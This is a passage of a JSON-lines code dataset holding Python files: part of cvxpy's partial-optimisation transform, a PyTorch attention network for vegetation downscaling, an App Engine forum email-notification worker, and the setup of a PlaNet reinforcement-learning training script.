self._prob.constraints:\n # TODO: better way to get constraint expressions.\n lagr_multiplier = self.cast_to_const(sign*constr.dual_value)\n lagr += trace(lagr_multiplier.T*constr._expr)\n grad_map = lagr.grad\n result = {var: grad_map[var] for var in self.variables()}\n else: # Unbounded, infeasible, or solver error.\n result = u.grad.error_grad(self)\n # Restore the original values to the variables.\n for var in self.variables():\n var.value = old_vals[var.id]\n return result\n\n @property\n def domain(self):\n \"\"\"A list of constraints describing the closure of the region\n where the expression is finite.\n \"\"\"\n # Variables optimized over are replaced in self._prob.\n obj_expr = self._prob.objective.args[0]\n return self._prob.constraints + obj_expr.domain\n\n @property\n def value(self):\n \"\"\"Returns the numeric value of the expression.\n\n Returns:\n A numpy matrix or a scalar.\n \"\"\"\n old_vals = {var.id: var.value for var in self.variables()}\n fix_vars = []\n for var in self.variables():\n if var.value is None:\n return None\n else:\n fix_vars += [var == var.value]\n prob = Problem(self.args[0].objective.copy(self), fix_vars)\n result = prob.solve()\n # Restore the original values to the variables.\n for var in self.variables():\n var.value = old_vals[var.id]\n return result\n\n @staticmethod\n def _replace_new_vars(obj, id_to_new_var):\n \"\"\"Replaces the given variables in the object.\n\n Parameters\n ----------\n obj : Object\n The object to replace variables in.\n id_to_new_var : dict\n A map of id to new variable.\n\n Returns\n -------\n Object\n An object identical to obj, but with the given variables replaced.\n \"\"\"\n if isinstance(obj, Variable) and obj.id in id_to_new_var:\n return id_to_new_var[obj.id]\n # Leaves outside of optimized variables are preserved.\n elif len(obj.args) == 0:\n return obj\n elif isinstance(obj, PartialProblem):\n prob = obj.args[0]\n new_obj = PartialProblem._replace_new_vars(prob.objective,\n id_to_new_var)\n new_constr = []\n for constr in prob.constraints:\n new_constr.append(\n PartialProblem._replace_new_vars(constr,\n id_to_new_var)\n )\n new_args = [Problem(new_obj, new_constr)]\n return obj.copy(new_args)\n # Parent nodes are copied.\n else:\n new_args = []\n for arg in obj.args:\n new_args.append(\n PartialProblem._replace_new_vars(arg, id_to_new_var)\n )\n return obj.copy(new_args)\n\n def canonicalize(self):\n \"\"\"Returns the graph implementation of the object.\n\n Change the ids of all the opt_vars.\n\n Returns\n -------\n A tuple of (affine expression, [constraints]).\n \"\"\"\n # Canonical form for objective and problem switches from minimize\n # to maximize.\n obj, constrs = self._prob.objective.args[0].canonical_form\n for cons in self._prob.constraints:\n constrs += cons.canonical_form[1]\n return (obj, constrs)\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/cvxgrp_cvxpy/cvxpy-master/cvxpy/transforms/partial_optimize.py","file_name":"partial_optimize.py","file_ext":"py","file_size_in_byte":9416,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"28007930694","text":"# -*- coding: utf-8 -*-\n\"\"\"\n @Time : 2018/11/28 19:41\n @Author : Wang Xin\n @Email : wangxin_buaa@163.com\n\"\"\"\nimport math\nimport os\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\n\nimport sys\nsys.path.append('../')\n#from tile2vec.src.tilenet import make_tilenet\nimport RemoteSensing.resnet as resnet\nimport matplotlib.pyplot as plt\n\n\ndef weights_init(m):\n # Initialize filters with Gaussian random weights\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, nn.ConvTranspose2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.in_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\n\nclass MeanFieldUpdate(nn.Module):\n \"\"\"\n Meanfield updating for the features and the attention for one pair of features.\n bottom_list is a list of observation features derived from the backbone CNN.\n\n update attention map\n a_s <-- y_s * (K_s conv y_S)\n a_s = b_s conv a_s\n a_s <-- Sigmoid(-(a_s + a_s))\n\n update the last scale feature map y_S\n y_s <-- K conv y_s\n y_S <-- x_S + (a_s * y_s)\n \"\"\"\n\n def __init__(self, bottom_send, bottom_receive, feat_num):\n super(MeanFieldUpdate, self).__init__()\n #self.atten_f = nn.Conv2d(in_channels=bottom_send, out_channels=feat_num,\n # kernel_size=3, stride=1, padding=1) \n self.atten_f = nn.Conv2d(in_channels=bottom_send + bottom_receive, out_channels=feat_num,\n kernel_size=3, stride=1, padding=1)\n self.norm_atten_f = nn.Sigmoid()\n self.message_f = nn.Conv2d(in_channels=bottom_send, out_channels=feat_num, kernel_size=3,\n stride=1, padding=1)\n self.Scale = nn.Conv2d(in_channels=feat_num, out_channels=bottom_receive, kernel_size=1, bias=True)\n\n def forward(self, x_s, x_S, visualize_attention=False):\n # update attention map\n a_s = torch.cat((x_s, x_S), dim=1)\n a_s = self.atten_f(a_s)\n a_s = self.norm_atten_f(a_s)\n if visualize_attention:\n print('Attention dim', a_s.shape)\n features = list(range(64)) #[0, 1, 2, 3, 4, 5, 6, 7, 8, 16, 24, 32, 40, 48, 56, 63]\n fig, axeslist = plt.subplots(ncols=8, nrows=8, figsize=(40, 40))\n for i, feature_idx in enumerate(features):\n axeslist.ravel()[i].imshow(a_s.detach().numpy()[0, feature_idx, :, :], cmap='Reds', vmin=0.0, vmax=1.0)\n axeslist.ravel()[i].set_title('Feature' + str(feature_idx))\n plt.tight_layout()\n plt.savefig('exploratory_plots/SAN_attention.png')\n plt.close()\n\n\n\n # update the last scale feature map y_S\n y_s = self.message_f(x_s)\n y_S = y_s.mul(a_s) # production\n # scale\n y_S = self.Scale(y_S)\n y_S = x_S + y_S # eltwise sum\n return y_S\n\n\n# def forward(self, x_s, x_S, visualize_attention=False):\n# # update attention map\n# if self.a_s is None:\n# self.a_s = x_S\n# hat_a_s = x_s.mul(self.message_f(x_S))\n# tilde_a_s = self.atten_f(self.a_s)\n# self.a_s = self.norm_atten_f(-1 * (hat_a_s + tilde_a_s))\n#\n# #self.a_s = torch.cat((x_s, x_S), dim=1)\n# #self.a_s = self.atten_f(self.a_s)\n# #self.a_s = self.norm_atten_f(self.a_s)\n# if visualize_attention:\n# print('Attention dim', self.a_s.shape)\n# features = [0, 1, 2, 3, 4, 5, 6, 7, 8, 16, 24, 32, 40, 48, 56, 63]\n# fig, axeslist = plt.subplots(ncols=4, nrows=4, figsize=(20, 20))\n# for i, feature_idx in enumerate(features):\n# axeslist.ravel()[i].imshow(self.a_s.detach().numpy()[0, feature_idx, :, :], cmap='Reds', vmin=0.3, vmax=0.7)\n# axeslist.ravel()[i].set_title('Feature' + str(feature_idx))\n# plt.tight_layout()\n# plt.savefig('exploratory_plots/attention.png')\n# plt.close()\n#\n# # update the last scale feature map y_S\n# y_s = self.message_f(x_s)\n# y_S = y_s.mul(self.a_s) # production\n# # scale\n# y_S = self.Scale(y_S)\n# y_S = x_S + y_S # eltwise sum\n# return y_S\n#\n\nclass SAN(nn.Module):\n \"\"\"\n Based on ResNet-50\n \"\"\"\n\n def __init__(self, pretrained_model, input_height, input_width, output_height, output_width, min_output=None, max_output=None, in_channels=3, feat_num=64, feat_width=128, feat_height=24, pretrained=True):\n super(SAN, self).__init__()\n\n print('Feature dim', feat_height, feat_width)\n\n # backbone Net: ResNet\n #torchvision.models.__dict__['resnet{}'.format(50)](pretrained=pretrained)\n self.channel = in_channels\n self.input_height = input_height\n self.input_width = input_width\n self.output_height = output_height\n self.output_width = output_width\n if min_output and max_output:\n self.restrict_output = True\n self.mean_output = (min_output + max_output) / 2\n self.scale_factor = (max_output - min_output) / 2\n else:\n self.restrict_output = False\n\n #self.dim_red = pretrained_model._modules['dim_red']\n self.conv1 = pretrained_model._modules['conv1']\n self.bn1 = pretrained_model._modules['bn1']\n self.relu = pretrained_model._modules['relu']\n self.maxpool = pretrained_model._modules['maxpool']\n self.layer1 = pretrained_model._modules['layer1']\n self.layer2 = pretrained_model._modules['layer2']\n self.layer3 = pretrained_model._modules['layer3']\n self.layer4 = pretrained_model._modules['layer4']\n\n # generating multi-scale features with the same dimension\n # in paper, type = 'gaussian'\n self.res4f_dec_1 = nn.ConvTranspose2d(128, feat_num, kernel_size=2, stride=2, padding=1) # Used to be 1024\n self.res4f_dec_1_relu = nn.ReLU(inplace=True)\n\n # in paper, type = 'gaussian'\n self.res5c_dec_1 = nn.ConvTranspose2d(256, feat_num, kernel_size=2, stride=2, padding=1) # Used to be 2048\n self.res5c_dec_1_relu = nn.ReLU(inplace=True)\n\n self.res4f_dec = nn.UpsamplingBilinear2d(size=(feat_height, feat_width))\n self.res3d_dec = nn.UpsamplingBilinear2d(size=(feat_height, feat_width))\n self.res5c_dec = nn.UpsamplingBilinear2d(size=(feat_height, feat_width))\n\n # add deep supervision for three semantic layers\n self.prediction_3d = nn.Conv2d(feat_num, out_channels=1, kernel_size=3, stride=1, padding=1)\n self.prediction_4f = nn.Conv2d(feat_num, out_channels=1, kernel_size=3, stride=1, padding=1)\n self.prediction_5c = nn.Conv2d(feat_num, out_channels=1, kernel_size=3, stride=1, padding=1)\n\n # the first meanfield updating\n self.meanFieldUpdate1_1 = MeanFieldUpdate(feat_num, feat_num, feat_num)\n self.meanFieldUpdate1_2 = MeanFieldUpdate(feat_num, feat_num, feat_num)\n self.meanFieldUpdate1_3 = MeanFieldUpdate(feat_num, feat_num, feat_num)\n\n # the second meanfield updating\n self.meanFieldUpdate2_1 = MeanFieldUpdate(feat_num, feat_num, feat_num)\n self.meanFieldUpdate2_2 = MeanFieldUpdate(feat_num, feat_num, feat_num)\n self.meanFieldUpdate2_3 = MeanFieldUpdate(feat_num, feat_num, feat_num)\n\n # the third meanfield updating\n self.meanFieldUpdate3_1 = MeanFieldUpdate(feat_num, feat_num, feat_num)\n self.meanFieldUpdate3_2 = MeanFieldUpdate(feat_num, feat_num, feat_num)\n self.meanFieldUpdate3_3 = MeanFieldUpdate(feat_num, feat_num, feat_num)\n\n # the fourth meanfield updating\n self.meanFieldUpdate4_1 = MeanFieldUpdate(feat_num, feat_num, feat_num)\n self.meanFieldUpdate4_2 = MeanFieldUpdate(feat_num, feat_num, feat_num)\n self.meanFieldUpdate4_3 = MeanFieldUpdate(feat_num, feat_num, feat_num)\n\n # the fifth meanfield updating\n self.meanFieldUpdate5_1 = MeanFieldUpdate(feat_num, feat_num, feat_num)\n self.meanFieldUpdate5_2 = MeanFieldUpdate(feat_num, feat_num, feat_num)\n self.meanFieldUpdate5_3 = MeanFieldUpdate(feat_num, feat_num, feat_num)\n\n # produce the output\n self.pred_1 = nn.ConvTranspose2d(feat_num, feat_num // 2, kernel_size=1, stride=1, padding=0)\n self.pred_1_relu = nn.ReLU(inplace=True)\n self.pred_2 = nn.ConvTranspose2d(feat_num // 2, feat_num // 4, kernel_size=1, stride=1, padding=0)\n self.pred_2_relu = nn.ReLU(inplace=True)\n self.pred_3 = nn.Conv2d(feat_num // 4, 1, kernel_size=1, stride=1, padding=0)\n\n # weights init\n self.res4f_dec_1.apply(weights_init)\n self.res5c_dec_1.apply(weights_init)\n self.prediction_3d.apply(weights_init)\n self.prediction_4f.apply(weights_init)\n self.prediction_5c.apply(weights_init)\n\n self.meanFieldUpdate1_1.apply(weights_init)\n self.meanFieldUpdate1_2.apply(weights_init)\n self.meanFieldUpdate1_3.apply(weights_init)\n\n self.meanFieldUpdate2_1.apply(weights_init)\n self.meanFieldUpdate2_2.apply(weights_init)\n self.meanFieldUpdate2_3.apply(weights_init)\n\n self.meanFieldUpdate3_1.apply(weights_init)\n self.meanFieldUpdate3_2.apply(weights_init)\n self.meanFieldUpdate3_3.apply(weights_init)\n\n self.meanFieldUpdate4_1.apply(weights_init)\n self.meanFieldUpdate4_2.apply(weights_init)\n self.meanFieldUpdate4_3.apply(weights_init)\n\n self.meanFieldUpdate5_1.apply(weights_init)\n self.meanFieldUpdate5_2.apply(weights_init)\n self.meanFieldUpdate5_3.apply(weights_init)\n\n\n def forward(self, x):\n #x = self.dim_red(x)\n x = self.conv1(x)\n x = F.relu(self.bn1(x))\n x = self.relu(x)\n x = self.maxpool(x)\n\n x = self.layer1(x)\n res3d = x\n x = self.layer2(x)\n res4f = x\n #res3d = x\n x = self.layer3(x)\n res5c = x\n #res4f = x\n #x = self.layer4(x)\n #res5c = x\n\n #print('Initially', res3d.shape, res4f.shape, res5c.shape)\n\n # generate multi-scale features with the same dimension,\n res4f_1 = self.res4f_dec_1(res4f) # 1024 --> 512\n res4f_1 = self.res4f_dec_1_relu(res4f_1)\n #print('res4f_1', res4f_1.shape)\n res5c_1 = self.res5c_dec_1(res5c) # 1024 --> 512\n res5c_1 = self.res5c_dec_1_relu(res5c_1)\n #print('res5c_1', res5c_1.shape)\n res4f = self.res4f_dec(res4f_1)\n res3d = self.res3d_dec(res3d)\n res5c = self.res5c_dec(res5c_1)\n\n #print('After upsampling', res3d.shape, res4f.shape, res5c.shape)\n\n pred_3d = self.prediction_3d(res3d)\n pred_4f = self.prediction_4f(res4f)\n pred_5c = self.prediction_5c(res5c)\n #print('intermediate pred', pred_3d.shape, pred_4f.shape, pred_5c.shape)\n\n # five meanfield updating\n y_S = self.meanFieldUpdate1_1(res3d, res5c)\n y_S = self.meanFieldUpdate1_2(res4f, y_S)\n y_S = self.meanFieldUpdate1_3(res5c, y_S)\n\n y_S = self.meanFieldUpdate2_1(res3d, y_S)\n y_S = self.meanFieldUpdate2_2(res4f, y_S)\n y_S = self.meanFieldUpdate2_3(res5c, y_S)\n\n y_S = self.meanFieldUpdate3_1(res3d, y_S)\n y_S = self.meanFieldUpdate3_2(res4f, y_S)\n y_S = self.meanFieldUpdate3_3(res5c, y_S)\n\n y_S = self.meanFieldUpdate4_1(res3d, y_S)\n y_S = self.meanFieldUpdate4_2(res4f, y_S)\n y_S = self.meanFieldUpdate4_3(res5c, y_S)\n\n #y_S = self.meanFieldUpdate5_1(res3d, y_S, visualize_attention=True) # True)\n y_S = self.meanFieldUpdate5_2(res4f, y_S) #, visualize_attention=True)\n y_S = self.meanFieldUpdate5_3(res5c, y_S)\n\n #print('Y_S', y_S.shape)\n\n pred = self.pred_1(y_S)\n pred = self.pred_1_relu(pred)\n pred = self.pred_2(pred)\n pred = self.pred_2_relu(pred)\n pred = self.pred_3(pred)\n #print('Pred', pred.shape)\n\n # UpSample to output size\n pred_3d = nn.functional.interpolate(pred_3d, size=(self.output_height, self.output_width), mode='area') #, align_corners=True)\n pred_4f = nn.functional.interpolate(pred_4f, size=(self.output_height, self.output_width), mode='area') #, align_corners=True)\n pred_5c = nn.functional.interpolate(pred_5c, size=(self.output_height, self.output_width), mode='area') #, align_corners=True)\n pred = nn.functional.interpolate(pred, size=(self.output_height, self.output_width), mode='area') #, align_corners=True)\n assert(pred.shape[2] == 37 and pred.shape[3] == 37)\n \n # Force all predictions to be within a particular range\n if self.restrict_output:\n pred = (F.tanh(pred) * self.scale_factor) + self.mean_output\n #if self.min_output and self.max_output:\n # pred = torch.clamp(pred, min=self.min_output, max=self.max_output)\n avg = torch.mean(pred, dim=(2, 3))\n return avg, pred_3d, pred_4f, pred_5c, pred\n\n# TODO\n# Understand this model\n# Create train loop, with data\n# Eval: for subtiles, find the surrounding large tile, then average prediction for that subtile\nif __name__ == \"__main__\":\n in_channels = 43\n z_dim = 256\n input_size = 371\n output_size = 37\n\n # Check if any CUDA devices are visible. If so, pick a default visible device.\n # If not, use CPU.\n if 'CUDA_VISIBLE_DEVICES' in os.environ:\n print('CUDA_VISIBLE_DEVICES:', os.environ['CUDA_VISIBLE_DEVICES'])\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n else:\n device = \"cpu\"\n print(\"Device\", device)\n\n #DATA_DIR = \"/mnt/beegfs/bulk/mirror/jyf6/datasets\"\n #tile2vec_model_file = os.path.join(DATA_DIR, \"models/tile2vec_recon/TileNet.ckpt\")\n #tile2vec_model = make_tilenet(in_channels=in_channels, z_dim=z_dim).to(device)\n #tile2vec_model.load_state_dict(torch.load(tile2vec_model_file, map_location=device))\n\n resnet_model = resnet.resnet18(input_channels=in_channels)\n\n model = SAN(resnet_model, input_height=input_size, input_width=input_size, output_height=output_size, output_width=output_size,\n feat_width=output_size, feat_height=output_size, in_channels=in_channels)\n model = model.cuda()\n model.eval()\n image = torch.randn(1, 43, 371, 371)\n image = image.cuda()\n\n with torch.no_grad():\n avg, pred_3d, pred_4f, pred_5c, pred = model(image)\n print(avg.size())\n print(pred_3d.size())\n print(pred_4f.size())\n print(pred_5c.size())\n print(pred.size())\n","repo_name":"joshuafan/Vegetation_SIF_Downscaling_CSSUNet","sub_path":"old_files_2/SAN.py","file_name":"SAN.py","file_ext":"py","file_size_in_byte":14833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"30158015506","text":"from handlers.base import BaseHandler\nfrom google.appengine.api import mail\nfrom models.topic_subscription import Subscription\n\n\nclass EmailNewCommentWorker(BaseHandler):\n def post(self):\n topic_author_email = self.request.get(\"topic_author_email\")\n topic_title = self.request.get(\"topic_title\")\n topic_id = self.request.get(\"topic_id\")\n mail.send_mail(sender=\"zrinka.000a@gmail.com\",\n to=topic_author_email, # receiver is the person who created the topic\n subject=\"New comment on your topic\",\n body=\"hello\",\n html=\"\"\"\\\n \n \n

\n Your topic \"{0}\" received a new comment. Click on\n \n this link to see it. \n

\n \n \"\"\".format(topic_title, topic_id))\n\n\nclass EmailTopicSubscriberWorker(BaseHandler):\n def post(self):\n topic_title = self.request.get(\"topic_title\")\n topic_id = self.request.get(\"topic_id\")\n subscriptions = Subscription.query(Subscription.topic_id == int(topic_id), Subscription.deleted == False).fetch()\n\n for subscription in subscriptions:\n topic_subscriber_email = subscription.user_email\n mail.send_mail(sender=\"zrinka.000a@gmail.com\",\n to=topic_subscriber_email,\n # receiver is the person who created the topic\n subject=\"New comment on subscribed topic\",\n body=\"hello\",\n html=\"\"\"\\\n \n \n

\n The topic \"{0}\" you are subscribed to received a new comment. Click on\n \n this link to see it!\n

\n \n \"\"\".format(topic_title, topic_id))\n","repo_name":"Zrinka1990/NinjaTechForum","sub_path":"workers/email_new_comment.py","file_name":"email_new_comment.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39077226896","text":"import argparse\nfrom math import inf\nimport os\nimport numpy as np\nimport torch\nfrom torch import nn, optim\nfrom torch.distributions import Normal\nfrom torch.distributions.kl import kl_divergence\nfrom torch.nn import functional as F\nfrom torchvision.utils import make_grid, save_image\nfrom tqdm import tqdm\nfrom env import CONTROL_SUITE_ENVS, Env, GYM_ENVS, EnvBatcher\nfrom memory import ExperienceReplayv2 as ExperienceReplay\nfrom models import bottle, Encoder, ObservationModel, RewardModel, ReturnModel, TransitionModel, PolicyNet, StochPolicyNet, AdvantageModel\nfrom planner import MPCPlanner, POPA1Planner, POPA2Planner, POP_P_Planner, MPPI_Planner, POP_P_MPPI\nfrom utils import lineplot, write_video\nimport ipdb\n\n\n# Hyperparameters\nparser = argparse.ArgumentParser(description='PlaNet')\nparser.add_argument('--id', type=str, default='fcem', help='Experiment ID')\nparser.add_argument('--seed', type=int, default=1, metavar='S', help='Random seed')\nparser.add_argument('--disable-cuda', action='store_true', help='Disable CUDA')\nparser.add_argument('--env', type=str, default='cheetah-run', choices=GYM_ENVS + CONTROL_SUITE_ENVS, help='Gym/Control Suite environment')\nparser.add_argument('--symbolic-env', action='store_true', help='Symbolic features')\nparser.add_argument('--max-episode-length', type=int, default=1000, metavar='T', help='Max episode length')\nparser.add_argument('--experience-size', type=int, default=1000000, metavar='D', help='Experience replay size') # Original implementation has an unlimited buffer size, but 1 million is the max experience collected anyway\nparser.add_argument('--activation-function', type=str, default='relu', choices=dir(F), help='Model activation function')\nparser.add_argument('--embedding-size', type=int, default=1024, metavar='E', help='Observation embedding size') # Note that the default encoder for visual observations outputs a 1024D vector; for other embedding sizes an additional fully-connected layer is used\nparser.add_argument('--hidden-size', type=int, default=200, metavar='H', help='Hidden size')\nparser.add_argument('--belief-size', type=int, default=200, metavar='H', help='Belief/hidden size')\nparser.add_argument('--state-size', type=int, default=30, metavar='Z', help='State/latent size')\nparser.add_argument('--action-repeat', type=int, default=4, metavar='R', help='Action repeat')\nparser.add_argument('--action-noise', type=float, default=0.3, metavar='ε', help='Action noise')\nparser.add_argument('--episodes', type=int, default=1000, metavar='E', help='Total number of episodes')\nparser.add_argument('--seed-episodes', type=int, default=5, metavar='S', help='Seed episodes')\nparser.add_argument('--collect-interval', type=int, default=100, metavar='C', help='Collect interval')\nparser.add_argument('--batch-size', type=int, default=50, metavar='B', help='Batch size')\nparser.add_argument('--chunk-size', type=int, default=50, metavar='L', help='Chunk size')\nparser.add_argument('--overshooting-distance', type=int, default=50, metavar='D', help='Latent overshooting distance/latent overshooting weight for t = 1')\nparser.add_argument('--overshooting-kl-beta', type=float, default=0, metavar='β>1', help='Latent overshooting KL weight for t > 1 (0 to disable)')\nparser.add_argument('--overshooting-reward-scale', type=float, default=0, metavar='R>1', help='Latent overshooting reward prediction weight for t > 1 (0 to disable)')\nparser.add_argument('--global-kl-beta', type=float, default=0, metavar='βg', help='Global KL weight (0 to disable)')\nparser.add_argument('--free-nats', type=float, default=3, metavar='F', help='Free nats')\nparser.add_argument('--bit-depth', type=int, default=5, metavar='B', help='Image bit depth (quantisation)')\nparser.add_argument('--learning-rate', type=float, default=6e-4, metavar='α', help='Learning rate') \nparser.add_argument('--learning-rate-schedule', type=int, default=0, metavar='αS', help='Linear learning rate schedule (optimisation steps from 0 to final learning rate; 0 to disable)') \nparser.add_argument('--adam-epsilon', type=float, default=1e-3, metavar='ε', help='Adam optimiser epsilon value') \n# Note that original has a linear learning rate decay, but it seems unlikely that this makes a significant difference\nparser.add_argument('--grad-clip-norm', type=float, default=100, metavar='C', help='Gradient clipping norm')\nparser.add_argument('--planning-horizon', type=int, default=12, metavar='H', help='Planning horizon distance')\nparser.add_argument('--optimisation-iters', type=int, default=10, metavar='I', help='Planning optimisation iterations')\nparser.add_argument('--candidates', type=int, default=1000, metavar='J', help='Candidate samples per iteration')\nparser.add_argument('--top-candidates', type=int, default=100, metavar='K', help='Number of top candidates to fit')\nparser.add_argument('--test', action='store_true', help='Test only')\nparser.add_argument('--test-interval', type=int, default=10, metavar='I', help='Test interval (episodes)')\nparser.add_argument('--test-episodes', type=int, default=10, metavar='E', help='Number of test episodes')\nparser.add_argument('--checkpoint-interval', type=int, default=5000, metavar='I', help='Checkpoint interval (episodes)')\nparser.add_argument('--checkpoint-experience', action='store_true', help='Checkpoint experience replay')\nparser.add_argument('--models', type=str, default='', metavar='M', help='Load model checkpoint')\nparser.add_argument('--experience-replay', type=str, default='', metavar='ER', help='Load experience replay')\nparser.add_argument('--render', action='store_true', help='Render environment')\n# New set of hyper-parameters\nparser.add_argument('--initial-sigma', type=float, default=1, help='Initial sigma value for CEM')\nparser.add_argument('--use-policy', type=bool, default=False, help='Use a policy network')\nparser.add_argument('--stoch-policy', type=bool, default=False, help='Use a stochastic policy')\nparser.add_argument('--detach-policy', type=bool, default=False, help='no updates from policy to model')\nparser.add_argument('--use-value', type=bool, default=False, help='Use a value network')\nparser.add_argument('--planner', type=str, default='CEM', help='Type of planner')\nparser.add_argument('--policy-reduce', type=str, default='mean', help='policy loss reduction')\nparser.add_argument('--mppi-gamma', type=float, default=2, help='MPPI gamma')\nparser.add_argument('--mppi-beta', type=float, default=0.6, help='MPPI beta')\nparser.add_argument('--marwil-kappa', type=float, default=1, help='kappa for marwil')\nparser.add_argument('--res-dir', type=str, default='results', help='directory location')\nparser.add_argument('--policy-lr', type=float, default=1e-3, help='policy Learning rate')\nparser.add_argument('--value-lr', type=float, default=2e-3, help='policy Learning rate')\nparser.add_argument('--policy-adam', type=float, default=1e-3, help='policy Learning rate')\nparser.add_argument('--value-adam', type=float, default=1e-3, help='policy Learning rate')\n\n\n\nargs = parser.parse_args()\nargs.overshooting_distance = min(args.chunk_size, args.overshooting_distance) # Overshooting distance cannot be greater than chunk size\nprint(' ' * 26 + 'Options')\nfor k, v in vars(args).items():\n\tprint(' ' * 26 + k + ': ' + str(v))\n\n\n# Setup\nresults_dir = os.path.join(args.res_dir, args.id)\nos.makedirs(results_dir, exist_ok=True)\nnp.random.seed(args.seed)\ntorch.manual_seed(args.seed)\nif torch.cuda.is_available() and not args.disable_cuda:\n\targs.device = torch.device('cuda')\n\ttorch.cuda.manual_seed(args.seed)\n\tprint(\"Using GPU...\")\nelse:\n\targs.device = torch.device('cpu')\nmetrics = {'steps': [], 'episodes': [], 'train_rewards': [], 'test_episodes': [], 'test_rewards': [], \n\t\t\t'observation_loss': [], 'reward_loss': [], 'kl_loss': []}\nif args.use_policy:\n\tmetrics['policy_loss'] = []\nif args.use_value:\n\tmetrics['value_loss'] = []\n\t#metrics['advantage_loss'] = []\n\ntorch.save(args, os.path.join(results_dir, 'args.pth'))\n\n\n# Initialise training environment and experience replay memory\nenv = Env(args.env, args.symbolic_env, args.seed, args.max_episode_length, args.action_repeat, args.bit_depth)\nif args.experience_replay is not '' and os.path.exists(args.experience_replay):\n\tD = torch.load(args.experience_replay)\n\tmetrics['steps'], metrics['episodes'] = [D.steps] * D.episodes, list(range(1, D.episodes + 1))\nelif not args.test:\n\tD = ExperienceReplay(args.experience_size, args.symbolic_env, env.observation_size, env.action_size, args.bit_depth, args.device)\n\t# Initialise dataset D with S random seed episodes\n\tfor s in range(1, args.seed_episodes + 1):\n\t\tobservation, done, t = env.reset(), False, 0\n\t\twhile not done:\n\t\t\taction = env.sample_random_action()\n\t\t\tnext_observation, reward, done = env.step(action)\n\t\t\tD.append(observation, action, reward, done)\n\t\t\tobservation = next_observation\n\t\t\tt += 1\n\t\tmetrics['steps'].append(t * args.action_repeat + (0 if len(metrics['steps']) == 0 else metrics['steps'][-1]))\n\t\tmetrics['episodes'].append(s)\n\n\n# Initialise model parameters randomly\ntransition_model = TransitionModel(args.belief_size, args.state_size, env.action_size, args.hidden_size, args.embedding_size, args.activation_function).to(device=args.device)\nobservation_model = ObservationModel(args.symbolic_env, env.observation_size, args.belief_size, args.state_size, args.embedding_size, args.activation_function).to(device=args.device)\nreward_model = RewardModel(args.belief_size, args.state_size, args.hidden_size, args.activation_function).to(device=args.device)\nencoder = Encoder(args.symbolic_env, env.observation_size, args.embedding_size, args.activation_function).to(device=args.device)\nparam_list = list(transition_model.parameters()) + list(observation_model.parameters()) + list(reward_model.parameters()) + list(encoder.parameters())\n\nif args.use_policy:\n\tif args.stoch_policy:\n\t\tpolicy_net = StochPolicyNet(args.belief_size, args.state_size, args.hidden_size, env.action_size, args.activation_function).to(device=args.device)\n\telse:\n\t\tpolicy_net = PolicyNet(args.belief_size, args.state_size, args.hidden_size, env.action_size, args.activation_function).to(device=args.device)\n\tif args.detach_policy:\n\t\tpolicy_optimizer = optim.Adam(policy_net.parameters(), lr=args.policy_lr, eps=args.policy_adam)\t\n\telse:\n\t\tparam_list += list(policy_net.parameters())\n\nif args.use_value:\n\tvalue_net = ReturnModel(args.belief_size, args.state_size, args.hidden_size, args.activation_function).to(device=args.device)\n\t#adv_net = AdvantageModel(args.belief_size, args.state_size, args.hidden_size, env.action_size, args.activation_function).to(device=args.device)\n\tif args.detach_policy:\n\t\tparams = list(value_net.parameters()) #+ list(adv_net.parameters())\n\t\tvalue_optimizer = optim.Adam(params, lr=args.value_lr, eps=args.value_adam)\n\telse:\n\t\tparam_list += list(value_net.parameters())\n\t\t#param_list += list(adv_net.parameters())\n\noptimiser = optim.Adam(param_list, lr=0 if args.learning_rate_schedule != 0 else args.learning_rate, eps=args.adam_epsilon)\n\n\nif args.use_value:\n\tpolicy_net.ma_adv_norm = torch.tensor([0], dtype=torch.float32, requires_grad=False, device=args.device)\n\n\nif args.models is not '' and os.path.exists(args.models):\n\tmodel_dicts = torch.load(args.models)\n\ttransition_model.load_state_dict(model_dicts['transition_model'])\n\tobservation_model.load_state_dict(model_dicts['observation_model'])\n\treward_model.load_state_dict(model_dicts['reward_model'])\n\tencoder.load_state_dict(model_dicts['encoder'])\n\toptimiser.load_state_dict(model_dicts['optimiser'])\n\tif args.use_policy:\n\t\tpolicy_net.load_state_dict(model_dicts['policy_net'])\n\t\tif args.detach_policy:\n\t\t\tpolicy_optimizer.load_state_dict(model_dicts['policy_optimizer'])\n\tif args.use_value:\n\t\tvalue_net.load_state_dict(model_dicts['value_net'])\n\t\t#adv_net.load_state_dict(model_dicts['adv_net'])\n\t\tif args.detach_policy:\n\t\t\tvalue_optimizer.load_state_dict(model_dicts['value_optimizer'])\n\nif args.planner == \"CEM\":\n\tplanner = MPCPlanner(env.action_size, args.planning_horizon, args.optimisation_iters, args.candidates, args.top_candidates, transition_model, reward_model, env.action_range[0], env.action_range[1], args.initial_sigma)\nelif args.planner == \"POPA1Planner\":\n\tassert(args.use_policy == True)\n\tplanner = POPA1Planner(env.action_size, args.planning_horizon, args.optimisation_iters, args.candidates, args.top_candidates, transition_model, reward_model, policy_net, env.action_range[0], env.action_range[1], args.initial_sigma)\nelif args.planner == \"POPA2Planner\":\n\tassert(args.use_policy == True)\n\tplanner = POPA2Planner(env.action_size, args.planning_horizon, args.optimisation_iters, args.candidates, args.top_candidates, transition_model, reward_model, policy_net, env.action_range[0], env.action_range[1], args.initial_sigma)\nelif args.planner == \"POP_P_Planner\":\n\tassert(args.use_policy == True)\n\tplanner = POP_P_Planner(env.action_size, args.planning_horizon, args.optimisation_iters, args.candidates, args.top_candidates, transition_model, reward_model, policy_net, env.action_range[0], env.action_range[1], args.initial_sigma)\nelif args.planner == 